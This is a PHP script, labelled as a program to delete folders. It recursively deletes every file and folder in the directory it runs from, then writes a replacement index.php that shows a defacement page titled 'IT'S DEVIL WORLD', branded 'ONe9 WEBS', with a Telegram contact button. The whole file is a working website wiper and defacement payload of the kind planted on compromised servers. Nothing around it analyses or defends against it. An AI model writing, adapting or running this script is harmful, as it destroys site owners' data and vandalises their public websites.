<?php
// PHP program to delete all files and folders from a folder recursively

// Function to delete all files and folders in a folder recursively
function deleteFolder($folderPath) {
    // Get all files and folders in the folder
    $items = glob($folderPath . '/*');

    // Loop through each item
    foreach ($items as $item) {
        // If it's a file, delete it
        if (is_file($item)) {
            unlink($item);
        }
        // If it's a folder, delete it recursively
        elseif (is_dir($item)) {
            deleteFolder($item);
        }
    }

    // After deleting all files and subfolders, delete the main folder
    if (is_dir($folderPath)) {
        rmdir($folderPath);
    }
}

// Function to create index.php file with custom PHP code
function createIndexFile($folderPath) {
    $indexFilePath = $folderPath . '/index.php';
    $customPHPCode = '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta property="og:title" content="arpanrizki">
<meta name="description" content="This website made by Arfan Rizki Ramadhan">
<meta property="og:description" content="This website made by Arfan Rizki Ramadhan">
<meta property="og:url" content="./">
<meta property="og:site_name" content="arpanrizki">
<meta property="og:type" content="website">
<meta name="copyright"content="arpanrizki">
<meta name="theme-color" content="#000">
<meta property="og:image" content="https://example.com/your-image.jpg">
<title>IT\\\'S DEVIL WORLD</title>
<link href="https://fonts.googleapis.com/css2?family=Bubblegum+Sans&family=Staatliches&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css">
<link rel="icon" href="https://images.vexels.com/media/users/3/143495/isolated/preview/6b80b9965b1ec4d47c31d7eccf8ce4b0-yellow-lightning-bolt-icon-by-vexels.png">
<link href="https://fonts.googleapis.com/css?family=Sacramento:400" rel="stylesheet" type="text/css">
</head>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">

<style>
*{
    background: linear-gradient(#4f297c,#0c0a17);
}
@media  (min-width: 468px) {
    body {
    background: url(https://i.postimg.cc/vBCSqLbW/Devil-Webs.jpg) no-repeat center center;
    background-size: fit;
    width: 100vw;
    height: 100vh;
    margin: 0px;
    padding: 0px;
    }
    button {
 background: #fff;
 width: auto;
 height: auto;
 margin-top: 73vh;
 margin-left: auto;
 margin-right: auto;
 padding: 8px;
 padding-left: auto;
 padding-right: auto;
 color: #e60a0a;
 text-align: center;
 border: none;
 border-radius: 40px;
 outline: none;
 display: block;
 cursor: pointer;
}
}

@media  (max-width: 468px) {
    body {
    background: url(https://i.ibb.co/pwHCnPG/bg.jpg) no-repeat center center;
    background-size: 100%;
    margin: 0px;
    padding: 0px;
    }
    button {
 background: #fff;
 width: auto;
 height: auto;
 margin-top: 65vh;
 margin-left: auto;
 margin-right: auto;
 padding: 8px;
 padding-left: auto;
 padding-right: auto;
 color: #e60a0a;
 text-align: center;
 border: none;
 border-radius: 40px;
 outline: none;
 display: block;
 cursor: pointer;
}
}


.bungkusan {
 background: rgba(0, 0, 0, 0.4);
 width: 100%;
 height: 100%;
}
.container {
 max-width: 400px;
 height: auto;
 margin-left: auto;
 margin-right: auto;
 display: block;
}

.neonText {
  color: #cf871ad5;
  background: none;
  text-align: center;
  text-shadow:
    0 0 7px #fff,
    0 0 10px #fff,
    0 0 21px #fff,
    0 0 42px #bc13fe,
    0 0 82px #bc13fe,
    0 0 92px #bc13fe,
    0 0 102px #bc13fe,
    0 0 151px #bc13fe;
}
  
h1 {
  font-size: 2rem;
  animation: pulsate 1.5s infinite alternate;  
  border: 0.2rem solid #fff;
  border-radius: 1rem;
  padding: 0.4em;
  box-shadow: 0 0 .2rem #fff,
            0 0 .2rem #fff,
            0 0 2rem #bc13fe,
            0 0 0.8rem #bc13fe,
            0 0 2.8rem #bc13fe,
            inset 0 0 1.3rem #bc13fe; 
}

@keyframes pulsate {
    
  100% {

      text-shadow:
      0 0 4px #fff,
      0 0 11px #fff,
      0 0 19px #fff,
      0 0 40px #bc13fe,
      0 0 80px #bc13fe,
      0 0 90px #bc13fe,
      0 0 100px #bc13fe,
      0 0 150px #bc13fe;
  
  }
  
  0% {

    text-shadow:
    0 0 2px #fff,
    0 0 4px #fff,
    0 0 6px #fff,
    0 0 10px #bc13fe,
    0 0 45px #bc13fe,
    0 0 55px #bc13fe,
    0 0 70px #bc13fe,
    0 0 80px #bc13fe;
  }
}

.btn-devil {
  color: #0ce1e9d5;
  background: none;
  text-align: center;
  text-shadow:
    0 0 7px #fff,
    0 0 10px #fff,
    0 0 21px #fff,
    0 0 42px #bc13fe,
    0 0 82px #bc13fe,
    0 0 92px #bc13fe,
    0 0 102px #bc13fe,
    0 0 151px #bc13fe;
}
  
h2 {
  font-size: 23px;
  justify-content: baseline;
  margin-top: 20px;
  animation: pulsate 1.5s infinite alternate;  
  border: 0.2rem solid #fff;
  border-radius: 1rem;
  padding: 0.4em;
  box-shadow: 0 0 .2rem #fff,
            0 0 .2rem #fff,
            0 0 2rem #bc13fe,
            0 0 0.8rem #bc13fe,
            0 0 2.8rem #bc13fe,
            inset 0 0 1.3rem #bc13fe; 
}

@keyframes pulsate {
    
  100% {

      text-shadow:
      0 0 4px #fff,
      0 0 11px #fff,
      0 0 19px #fff,
      0 0 40px #bc13fe,
      0 0 80px #bc13fe,
      0 0 90px #bc13fe,
      0 0 100px #bc13fe,
      0 0 150px #bc13fe;
  
  }
  
  0% {

    text-shadow:
    0 0 2px #fff,
    0 0 4px #fff,
    0 0 6px #fff,
    0 0 10px #bc13fe,
    0 0 45px #bc13fe,
    0 0 55px #bc13fe,
    0 0 70px #bc13fe,
    0 0 80px #bc13fe;
  }
}

h3 {
    color: #b8dd12;
    font-size: 20px;
    margin-top: -10px;
    letter-spacing: 3px;
    text-align: center;
    animation: glow 1.5s ease-in-out infinite alternate;
}

@keyframes glow {
     from{
	   text-shadow: 0 0 10px #0fa, 0 0 20px #0fa, 0 0 30px #0fa, 0 0 40px #0fa,0 0 50px #0fa;
	 }
	 to {
	   text-shadow: 0 0 60px #0fa, 0 0 70px #0fa;
	 }
}
</style>

<h1 class="neonText">ONe9 WEBS</h1>

<button onclick="location.href=\'https://telegram.me/One9WEBS\'" class="btn-devil"><h2>One9WEBS</h2></button>

<h3>👆👆👆<br>Click Here to Contact</h3>

</body>
</html>';

    file_put_contents($indexFilePath, $customPHPCode);
}

// Specify the target folder
$targetFolder = './'; // Change this to the path of your folder

// Call the function to delete files and folders
deleteFolder($targetFolder);

// Call the function to create index.php file
createIndexFile($targetFolder);

// Return a success message
echo 'All files and folders in the folder have been deleted, and an index.php file has been created.';
?>
